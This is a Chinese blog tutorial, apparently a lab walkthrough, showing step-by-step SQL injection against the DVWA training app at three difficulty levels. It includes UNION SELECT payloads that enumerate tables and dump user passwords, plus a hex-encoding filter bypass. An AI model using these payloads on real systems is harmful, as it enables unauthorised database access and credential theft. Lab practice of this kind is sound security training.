DVWA-SQL注入

low
1.判断注入类型
输入1’and’1’=’1
在这里插入图片描述
输入1’and’1’=’2 无结果
在这里插入图片描述
输入1’or’1’=’1 类似1’or’1234’=’1234
在这里插入图片描述
由此判断出为字符型注入
2.判断字段数
ORDER BY 1 表示 所select 的字段按第一个字段排序,当后面跟的数字超过字段数时,则显示错误
输入1’ order by 1
在这里插入图片描述
输入1’ order by 2
在这里插入图片描述
输入1’ order by 3
在这里插入图片描述
由此判断有俩个字段
3.确定显示的字段顺序
输入1’ union select 1,2#
在这里插入图片描述
4.获取当前数据库
输入1’ union select 111,database()#
在这里插入图片描述
5.获取数据库中的表名
数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述
6.获取表中的字段名
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
在这里插入图片描述
7.下载数据
1’ union select user,password from users#
在这里插入图片描述
Medium
由于中级有敏感词过滤,所以通过burpsuit抓包改参数遇到字符转义时可以用base64替代
1.判断注入类型
无法写入单引号等字符
在这里插入图片描述
由此判断出为数字型注入
2.判断字段数
ORDER BY 1 表示 所select 的字段按第一个字段排序,当后面跟的数字超过字段数时,则显示错误
order by 1
在这里插入图片描述
order by 2
在这里插入图片描述

order by 3
在这里插入图片描述

由此判断有俩个字段
3.确定显示的字段顺序
union select 1,2#
在这里插入图片描述

4.获取当前数据库
union select 1,database()#
在这里插入图片描述
5.获取数据库中的表名
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述
6.获取表中的字段名
union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’# 由于‘被转义,所以将users转为0x7573657273(数据库识别16进制)
在这里插入图片描述
7.下载数据
union select user,password from users#
在这里插入图片描述
High
多了limit1限制,注释掉就行,与low过程x相同
1.判断注入类型
输入1’and’1’=’1
输入1’and’1’=’2 无结果
输入1’or’1’=’1 #类似1’or’1234’=’1234#
由此判断出为字符型注入
2.判断字段数
ORDER BY 1 表示 所select 的字段按第一个字段排序,当后面跟的数字超过字段数时,则显示错误
输入1’ order by 1#
输入1’ order by 2#
输入1’ order by 3#
由此判断有俩个字段
3.确定显示的字段顺序
输入1’ union select 1,2#
4.获取当前数据库
输入1’ union select 111,database()#
5.获取数据库中的表名
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
6.获取表中的字段名
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
7.下载数据
1’ union select user,password from users#
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值